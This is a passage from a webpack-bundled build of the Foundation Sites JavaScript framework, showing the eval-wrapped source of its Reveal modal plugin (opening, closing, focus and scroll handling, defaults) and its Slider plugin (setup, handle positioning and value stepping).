this.id);\n      }\n      if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n        this._disableScroll();\n      }\n      var _this = this;\n\n      // Motion UI method of reveal\n      if (this.options.animationIn) {\n        var afterAnimation = function afterAnimation() {\
525n          _this.$element.attr({\n            'aria-hidden': false,\n            'tabindex': -1\n          }).focus();\n          _this._addGlobalClasses();\n          _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.trapFocus(_this.$element);\n        };\n        if (this.options.overlay) {\n          _foundation_util_motion__WEBPACK_IMPORTED_MODULE_5__.Motion.animateIn(this.$overlay, 'fade-in');\n        }\n        _foundation_util_motion__WEBPACK_IMPORTED_MODULE_5__.Motion.animateIn(this.$element, this.options.animationIn, function () {\n          if (_this4.$element) {\n            // protect against object having been removed\n            _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.findFocusable(_this4.$element);\n            afterAnimation();\n          }\n        });\n      }\n      // jQuery method of reveal\n      else {\n        if (this.options.overlay) {\n          this.$overlay.show(0);\n        }\n        this.$element.show(this.options.showDelay);\n      }\n\n      // handle accessibility\n      this.$element.attr({\n        'aria-hidden': false,\n        'tabindex': -1\n      }).focus();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.trapFocus(this.$element);\n      this._addGlobalClasses();\n      this._addGlobalListeners();\n\n      /**\n       * Fires when the modal has successfully opened.\n       * @event Reveal#open\n       */\n      this.$element.trigger('open.zf.reveal');\n    }\n\n    /**\n     * Adds classes and listeners on document required by open modals.\n     *\n     * The following classes are added and updated:\n     * - `.is-reveal-open` - Prevents the scroll on document\n     * - `.zf-has-scroll`  - Displays a disabled scrollbar on document if required like if the\n     *                       scroll was not disabled. This prevent a \"shift\" of the page content due\n     *                       the scrollbar disappearing when the modal opens.\n     *\n     * @private\n     */\n  }, {\n    key: \"_addGlobalClasses\",\n    value: function _addGlobalClasses() {\n      var updateScrollbarClass = function updateScrollbarClass() {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n      };\n      this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n        return updateScrollbarClass();\n      });\n      updateScrollbarClass();\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n    }\n\n    /**\n     * Removes classes and listeners on document that were required by open modals.\n     * @private\n     */\n  }, {\n    key: \"_removeGlobalClasses\",\n    value: function _removeGlobalClasses() {\n      this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n    }\n\n    /**\n     * Adds extra event handlers for the body and window if necessary.\n     * @private\n     */\n  }, {\n    key: \"_addGlobalListeners\",\n    value: function _addGlobalListeners() {\n      var _this = this;\n      if (!this.$element) {\n        return;\n      } // If we're in the middle of cleanup, don't freak out\n      this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.findFocusable(this.$element);\n      if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.dropdown tap.zf.dropdown', function (e) {\n          if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default().contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default().contains(document, e.target)) {\n            return;\n          }\n          _this.close();\n        });\n      }\n      if (this.options.closeOnEsc) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n          _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.handleKey(e, 'Reveal', {\n            close: function close() {\n              if (_this.options.closeOnEsc) {\n                _this.close();\n              }\n            }\n          });\n        });\n      }\n    }\n\n    /**\n     * Closes the modal.\n     * @function\n     * @fires Reveal#closed\n     */\n  }, {\n    key: \"close\",\n    value: function close() {\n      if (!this.isActive || !this.$element.is(':visible')) {\n        return false;\n      }\n      var _this = this;\n\n      // Motion UI method of hiding\n      if (this.options.animationOut) {\n        if (this.options.overlay) {\n          _foundation_util_motion__WEBPACK_IMPORTED_MODULE_5__.Motion.animateOut(this.$overlay, 'fade-out');\n        }\n        _foundation_util_motion__WEBPACK_IMPORTED_MODULE_5__.Motion.animateOut(this.$element, this.options.animationOut, finishUp);\n      }\n      // jQuery method of hiding\n      else {\n        this.$element.hide(this.options.hideDelay);\n        if (this.options.overlay) {\n          this.$overlay.hide(0, finishUp);\n        } else {\n          finishUp();\n        }\n      }\n\n      // Conditionals to remove extra event listeners added on open\n      if (this.options.closeOnEsc) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n      }\n      if (!this.options.overlay && this.options.closeOnClick) {\
525n        jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.dropdown tap.zf.dropdown');\n      }\n      this.$element.off('keydown.zf.reveal');\n      function finishUp() {\n        // Get the current top before the modal is closed and restore the scroll after.\n        // TODO: use component properties instead of HTML properties\n        // See https://github.com/foundation/foundation-sites/pull/10786\n        var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"), 10);\n        if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n          _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n        }\n\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.releaseFocus(_this.$element);\n        _this.$element.attr('aria-hidden', true);\n        if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n          _this._enableScroll(scrollTop);\n        }\n\n        /**\n        * Fires when the modal is done closing.\n        * @event Reveal#closed\n        */\n        _this.$element.trigger('closed.zf.reveal');\n      }\n\n      /**\n      * Resets the modal content\n      * This prevents a running video to keep going in the background\n      */\n      if (this.options.resetOnClose) {\n        this.$element.html(this.$element.html());\n      }\n      this.isActive = false;\n      // If deepLink and we did not switched to an other modal...\n      if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n        // Remove the history hash\n        if (window.history.replaceState) {\n          var urlWithoutHash = window.location.pathname + window.location.search;\n          if (this.options.updateHistory) {\n            window.history.pushState({}, '', urlWithoutHash); // remove the hash\n          } else {\n            window.history.replaceState('', document.title, urlWithoutHash);\n          }\n        } else {\n          window.location.hash = '';\n        }\n      }\n      this.$activeAnchor.focus();\n    }\n\n    /**\n     * Toggles the open/closed state of a modal.\n     * @function\n     */\n  }, {\n    key: \"toggle\",\n    value: function toggle() {\n      if (this.isActive) {\n        this.close();\n      } else {\n        this.open();\n      }\n    }\n  }, {\n    key: \"_destroy\",\n    value:\n    /**\n     * Destroys an instance of a modal.\n     * @function\n     */\n    function _destroy() {\n      if (this.options.overlay) {\n        this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n        this.$overlay.hide().off().remove();\n      }\n      this.$element.hide().off();\n      this.$anchor.off('.zf');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n      if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n      if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n        this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n      }\n    }\n  }]);\n  return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\nReveal.defaults = {\n  /**\n   * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  animationIn: '',\n  /**\n   * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  animationOut: '',\n  /**\n   * Time, in ms, to delay the opening of a modal after a click if no animation used.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  showDelay: 0,\n  /**\n   * Time, in ms, to delay the closing of a modal after a click if no animation used.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  hideDelay: 0,\n  /**\n   * Allows a click on the body/overlay to close the modal.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  closeOnClick: true,\n  /**\n   * Allows the modal to close if the user presses the `ESCAPE` key.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  closeOnEsc: true,\n  /**\n   * If true, allows multiple modals to be displayed at once.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  multipleOpened: false,\n  /**\n   * Distance, in pixels, the modal should push down from the top of the screen.\n   * @option\n   * @type {number|string}\n   * @default auto\n   */\n  vOffset: 'auto',\n  /**\n   * Distance, in pixels, the modal should push in from the side of the screen.\n   * @option\n   * @type {number|string}\n   * @default auto\n   */\n  hOffset: 'auto',\n  /**\n   * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  fullScreen: false,\n  /**\n   * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  overlay: true,\n  /**\n   * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  resetOnClose: false,\n  /**\n   * Link the location hash to the modal.\n   * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  deepLink: false,\n  /**\n   * If `deepLink` is enabled, update the browser history with the open modal\n   * @option\n   * @default false\n   */\n  updateHistory: false,\n  /**\n  * Allows the modal to append to custom div.\n  * @option\n  * @type {string}\n  * @default \"body\"\n  */\n  appendTo: \"body\",\n  /**\n   * Allows adding additional class names to the reveal overlay.\n   * @option\n   * @type {string}
525\n   * @default ''\n   */\n  additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.reveal.js?")},"./js/foundation.slider.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Slider: function() { return /* binding */ Slider; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_touch__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.touch */ \"./js/foundation.util.touch.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\"); return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }
525\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n/**\n * Slider module.\n * @module foundation.slider\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n * @requires foundation.util.keyboard\n * @requires foundation.util.touch\n */\nvar Slider = /*#__PURE__*/function (_Plugin) {\n  _inherits(Slider, _Plugin);\n  var _super = _createSuper(Slider);\n  function Slider() {\n    _classCallCheck(this, Slider);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Slider, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of a slider control.\n     * @class\n     * @name Slider\n     * @param {jQuery} element - jQuery object to make into a slider control.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Slider.defaults, this.$element.data(), options);\n      this.className = 'Slider'; // ie9 back compat\n      this.initialized = false;\n\n      // Touch and Triggers inits are idempotent, we just need to make sure it's initialied.\n      _foundation_util_touch__WEBPACK_IMPORTED_MODULE_5__.Touch.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.register('Slider', {\n        'ltr': {\n          'ARROW_RIGHT': 'increase',\n          'ARROW_UP': 'increase',\n          'ARROW_DOWN': 'decrease',\n          'ARROW_LEFT': 'decrease',\n          'SHIFT_ARROW_RIGHT': 'increaseFast',\n          'SHIFT_ARROW_UP': 'increaseFast',\n          'SHIFT_ARROW_DOWN': 'decreaseFast',\n          'SHIFT_ARROW_LEFT': 'decreaseFast',\n          'HOME': 'min',\n          'END': 'max'\n        },\n        'rtl': {\n          'ARROW_LEFT': 'increase',\n          'ARROW_RIGHT': 'decrease',\n          'SHIFT_ARROW_LEFT': 'increaseFast',\n          'SHIFT_ARROW_RIGHT': 'decreaseFast'\n        }\n      });\n    }\n\n    /**\n     * Initilizes the plugin by reading/setting attributes, creating collections and setting the initial position of the handle(s).\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      this.inputs = this.$element.find('input');\n      this.handles = this.$element.find('[data-slider-handle]');\n      this.$handle = this.handles.eq(0);\n      this.$input = this.inputs.length ? this.inputs.eq(0) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(this.$handle.attr('aria-controls')));\n      this.$fill = this.$element.find('[data-slider-fill]').css(this.options.vertical ? 'height' : 'width', 0);\n      if (this.options.disabled || this.$element.hasClass(this.options.disabledClass)) {\n        this.options.disabled = true;\n        this.$element.addClass(this.options.disabledClass);\n      }\n      if (!this.inputs.length) {\n        this.inputs = jquery__WEBPACK_IMPORTED_MODULE_0___default()().add(this.$input);\n        this.options.binding = true;\n      }\n      this._setInitAttr(0);\n      if (this.handles[1]) {\n        this.options.doubleSided = true;\n        this.$handle2 = this.handles.eq(1);\n        this.$input2 = this.inputs.length > 1 ? this.inputs.eq(1) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(this.$handle2.attr('aria-controls')));\n        if (!this.inputs[1]) {\n          this.inputs = this.inputs.add(this.$input2);\n        }\n\n        // this.$handle.triggerHandler('click.zf.slider');\n        this._setInitAttr(1);\n      }\n\n      // Set handle positions\n      this.setHandles();\n      this._events();\n      this.initialized = true;\n    }\n  }, {\n    key: \"setHandles\",\n    value: function setHandles() {\n      var _this2 = this;\n      if (this.handles[1]) {\n        this._setHandlePos(this.$handle, this.inputs.eq(0).val(), function () {\n          _this2._setHandlePos(_this2.$handle2, _this2.inputs.eq(1).val());\n        });\n      } else {\n        this._setHandlePos(this.$handle, this.inputs.eq(0).val());\n      }\n    }\n  }, {\n    key: \"_reflow\",\n    value: function _reflow() {\n      this.setHandles();\n    }\n    /**\n    * @function\n    * @private\n    * @param {Number} value - floating point (the value) to be transformed using to a relative position on the slider (the inverse of _value)\n    */\n  }, {\n    key: \"_pctOfBar\",\n    value: function _pctOfBar(value) {\n      var pctOfBar = percent(value - this.options.start, this.options.end - this.options.start);\n      switch (this.options.positionValueFunction) {\n        case \"pow\":\n          pctOfBar = this._logTransform(pctOfBar);\n          break;\n        case \"log\":\n          pctOfBar = this._powTransform(pctOfBar);\n          break;\n      }\n      return pctOfBar.toFixed(2);\n    }\n\n    /**\n    * @function\n    * @private\n    * @param {Number} pctOfBar - floating point, the relative position of the slider (typically between 0-1) to be transformed to a value\
525n    */\n  }, {\n    key: \"_value\",\n    value: function _value(pctOfBar) {\n      switch (this.options.positionValueFunction) {\n        case \"pow\":\n          pctOfBar = this._powTransform(pctOfBar);\n          break;\n        case \"log\":\n          pctOfBar = this._logTransform(pctOfBar);\n          break;\n      }\n      var value;\n      if (this.options.vertical) {\n        // linear interpolation which is working with negative values for start\n        // https://math.stackexchange.com/a/1019084\n        value = parseFloat(this.options.end) + pctOfBar * (this.options.start - this.options.end);\n      } else {\n        value = (this.options.end - this.options.start) * pctOfBar + parseFloat(this.options.start);\n      }\n      return value;\n    }\n\n    /**\n    * @function\n    * @private\n    * @param {Number} value - floating point (typically between 0-1) to be transformed using the log function\n    */\n  }, {\n    key: \"_logTransform\",\n    value: function _logTransform(value) {\n      return baseLog(this.options.nonLinearBase, value * (this.options.nonLinearBase - 1) + 1);\n    }\n\n    /**\n    * @function\n    * @private\n    * @param {Number} value - floating point (typically between 0-1) to be transformed using the power function\n    */\n  }, {\n    key: \"_powTransform\",\n    value: function _powTransform(value) {\n      return (Math.pow(this.options.nonLinearBase, value) - 1) / (this.options.nonLinearBase - 1);\n    }\n\n    /**\n     * Sets the position of the selected handle and fill bar.\n     * @function\n     * @private\n     * @param {jQuery} $hndl - the selected handle to move.\n     * @param {Number} location - floating point between the start and end values of the slider bar.\n     * @param {Function} cb - callback function to fire on completion.\n     * @fires Slider#moved\n     * @fires Slider#changed\n     */\n  }, {\n    key: \"_setHandlePos\",\n    value: function _setHandlePos($hndl, location, cb) {\n      // don't move if the slider has been disabled since its initialization\n      if (this.$element.hasClass(this.options.disabledClass)) {\n        return;\n      }\n      //might need to alter that slightly for bars that will have odd number selections.\n      location = parseFloat(location); //on input change events, convert string to number...grumble.\n\n      // prevent slider from running out of bounds, if value exceeds the limits set through options, override the value to min/max\n      if (location < this.options.start) {\n        location = this.options.start;\n      } else if (location > this.options.end) {\n        location = this.options.end;\n      }\n      var isDbl = this.options.doubleSided;\n      if (isDbl) {\n        //this block is to prevent 2 handles from crossing eachother. Could/should be improved.\n        if (this.handles.index($hndl) === 0) {\n          var h2Val = parseFloat(this.$handle2.attr('aria-valuenow'));\n          location = location >= h2Val ? h2Val - this.options.step : location;\n        } else {\n          var h1Val = parseFloat(this.$handle.attr('aria-valuenow'));\n          location = location <= h1Val ? h1Val + this.options.step : location;\n        }\n      }\n      var _this = this,\n        vert = this.options.vertical,\n        hOrW = vert ? 'height' : 'width',\n        lOrT = vert ? 'top' : 'left',\n        handleDim = $hndl[0].getBoundingClientRect()[hOrW],\n        elemDim = this.$element[0].getBoundingClientRect()[hOrW],\n        //percentage of bar min/max value based on click or drag point\n        pctOfBar = this._pctOfBar(location),\n        //number of actual pixels to shift the handle, based on the percentage obtained above\n        pxToMove = (elemDim - handleDim) * pctOfBar,\n        //percentage of bar to shift the handle\n        movement = (percent(pxToMove, elemDim) * 100).toFixed(this.options.decimal);\n      //fixing the decimal value for the location number, is passed to other methods as a fixed floating-point value\n      location = parseFloat(location.toFixed(this.options.decimal));\n      // declare empty object for css adjustments, only used with 2 handled-sli
525ders\n      var css = {};\n      this._setValues($hndl, location);\n\n      // TODO update to calculate based on values set to respective inputs??\n      if (isDbl) {\n        var isLeftHndl = this.handles.index($hndl) === 0,\n          //empty variable, will be used for min-height/width for fill bar\n          dim,\n          //percentage w/h of the handle compared to the slider bar\n          handlePct = Math.floor(percent(handleDim, elemDim) * 100);\n        //if left handle, the math is slightly different than if it's the right handle, and the left/top property needs to be changed for the fill bar\n        if (isLeftHndl) {\n          //left or top percentage value to apply to the fill bar.\n          css[lOrT] = \"\".concat(movement, \"%\");\n          //calculate the new min-height/width for the fill bar.\n          dim = parseFloat(this.$handle2[0].style[lOrT]) - movement + handlePct;\n          //this callback is necessary to prevent errors and allow the proper placement and initialization of a 2-handled slider\n          //plus, it means we don't care if 'dim' isNaN on init, it won't be in the future.\n          if (cb && typeof cb === 'function') {\n            cb();\n          } //this is only needed for the initialization of 2 handled sliders\n        } else {\n          //just caching the value of the left/bottom handle's left/top property\n          var handlePos = parseFloat(this.$handle[0].style[lOrT]);\n          //calculate the new min-height/width for the fill bar. Use isNaN to prevent false positives for numbers <= 0\n          //based on the percentage of movement of the handle being manipulated, less the opposing handle's left/top position, plus the percentage w/h of the handle itself\n          dim = movement - (isNaN(handlePos) ? (this.options.initialStart - this.options.start) / ((this.options.end - this.options.start) / 100) : handlePos) + handlePct;\n        }\n        // assign the min-height/width to our css object\n        css[\"min-\".concat(hOrW)] = \"\".concat(dim, \"%\");\n      }\n\n      //because we don't know exactly how the handle will be moved, check the amount of time it should take to move.\n      var moveTime = this.$element.data('dragging') ? 1000 / 60 : this.options.moveTime;\n      (0,_foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__.Move)(moveTime, $hndl, function () {\n        // adjusting the left/top property of the handle, based on the percentage calculated above\n        // if movement isNaN, that is because the slider is hidden and we cannot determine handle width,\n        // fall back to next best guess.\n        if (isNaN(movement)) {\n          $hndl.css(lOrT, \"\".concat(pctOfBar * 100, \"%\"));\n        } else {\n          $hndl.css(lOrT, \"\".concat(movement, \"%\"));\n        }\n        if (!_this.options.doubleSided) {\n          //if single-handled, a simple method to expand the fill bar\n          _this.$fill.css(hOrW, \"\".concat(pctOfBar * 100, \"%\"));\n        } else {\n          //otherwise, use the css object we created above\n          _this.$fill.css(css);\n        }\n      });\n      if (this.initialized) {\n        this.$element.one('finished.zf.animate', function () {\n          /**\n           * Fires when the handle is done moving.\n           * @event Slider#moved\n           */\n          _this.$element.trigger('moved.zf.slider', [$hndl]);\n        });\n        /**\n         * Fires when the value has not been change for a given time.\n         * @event Slider#changed\n         */\n        clearTimeout(_this.timeout);\n        _this.timeout = setTimeout(function () {\n          _this.$element.trigger('changed.zf.slider', [$hndl]);\n        }, _this.options.changedDelay);\n      }\n    }\n\n    /**\n     * Sets the initial attribute for the slider element.\n     * @function\n     * @private\n     * @param {Number} idx - index of the current handle/input to use.\n     */\n  }, {\n    key: \"_setInitAttr\",\n    value: function _setInitAttr(idx) {\n      var initVal = idx === 0 ? this.options.initialStart : this.options.initialEnd;\n      var id = this.inputs.eq(idx).attr('id') || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, 'slider');\n      this.inputs.eq(idx).attr({\n        'id': id,\n        'max': this.options.end,\n        'min': this.options.start,\n        'step': this.options.step\n      });\n      this.inputs.eq(idx).val(initVal);\n      this.handles.eq(idx).attr({\n        'role': 'slider',\n        'aria-controls': id,\n        'aria-valuemax': this.options.end,\n        'aria-valuemin': this.options.start,\n        'aria-valuenow': initVal,\n        'aria-orientation': this.options.vertical ? 'vertical' : 'horizontal',\n        'tabindex': 0\n      });\n    }\n\n    /**\n     * Sets the input and `aria-valuenow` values for the slider element.\n     * @function\n     * @private\n     * @param {jQuery} $handle - the currently selected handle.\n     * @param {Number} val - floating point of the new value.\n     */\n  }, {\n    key: \"_setValues\",\n    value: function _setValues($handle, val) {\n      var idx = this.options.doubleSided ? this.handles.index($handle) : 0;\n      this.inputs.eq(idx).val(val);\n      $handle.attr('aria-valuenow', val);\n    }\n\n    /**\n     * Handles events on the slider element.\n     * Calculates the new location of the current handle.\n     * If there are two handles and the bar was clicked, it determines which handle to move.\n     * @function\n     * @private\n     * @param {Object} e - the `event` object passed from the listener.\n     * @param {jQuery} $handle - the current handle to calculate for, if selected.\n     * @param {Number} val - floating point number for the new value of the slider.\n     * TODO clean this up, there's a lot of repeated code between this and the _setHandlePos fn.\n     */\n  }, {\n    key: \"_handleEvent\",\n    value: function _handleEvent(e, $handle, val) {\n      var value;\n      if (!val) {\n        //click or drag events\n        e.preventDefault();\n        var _this = this,\n          vertical = this.options.vertical,\n          param = vertical ? 'height' : 'width',\n          direction = vertical ? 'top' : 'left',\n          eventOffset = vertical ? e.pageY : e.pageX,\n          barDim = this.$element[0].getBoundingClientRect()[param],\n          windowScroll = vertical ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop() : jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollLeft();\n        var elemOffset = this.$element.offset()[direction];\n\n        // touch events emulated by the touch util give position relative to screen, add window.scroll to event coordinates...\n        // best way to guess this is simulated is if clientY == pageY\n        if (e.clientY === e.pageY) {\n          eventOffset = eventOffset + windowScroll;\n        }\n        var eventFromBar = eventOffset - elemOffset;\n        var barXY;\n        if (eventFromBar < 0) {\n          barXY = 0;\n        } else if (eventFromBar > barDim) {\n          barXY = barDim;\n        } else {\n          barXY = eventFromBar;\n        }
525\n        var offsetPct = percent(barXY, barDim);\n        value = this._value(offsetPct);\n\n        // turn everything around for RTL, yay math!\n        if ((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.rtl)() && !this.options.vertical) {\n          value = this.options.end - value;\n        }\n        value = _this._adjustValue(null, value);\n        if (!$handle) {\n          //figure out which handle it is, pass it to the next function.\n          var firstHndlPos = absPosition(this.$handle, direction, barXY, param),\n            secndHndlPos = absPosition(this.$handle2, direction, barXY, param);\n          $handle = firstHndlPos <= secndHndlPos ? this.$handle : this.$handle2;\n        }\n      } else {\n        //change event on input\n        value = this._adjustValue(null, val);\n      }\n      this._setHandlePos($handle, value);\n    }\n\n    /**\n     * Adjustes value for handle in regard to step value. returns adjusted value\n     * @function\n     * @private\n     * @param {jQuery} $handle - the selected handle.\n     * @param {Number} value - value to adjust. used if $handle is falsy\n     */\n  }, {\n    key: \"_adjustValue\",\n    value: function _adjustValue($handle, value) {\n      var val,\n        step = this.options.step,\n        div = parseFloat(step / 2),\n        left,\n        previousVal,\n        nextVal;\n      if (!!$handle) {\n        val = parseFloat($handle.attr('aria-valuenow'));\n      } else {\n        val = value;\n      }\n      if (val >= 0) {\n        left = val % step;\n      } else {\n        left = step + val % step;\n      }\n      previousVal = val - left;\n      nextVal = previousVal + step;\n      if (left === 0) {\n        return val;\n      }\n      val = val >= previousVal + div ? nextVal : previousVal;\n      return val;\n    }\n\n    /**\n     * Adds event listeners to the slider elements.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    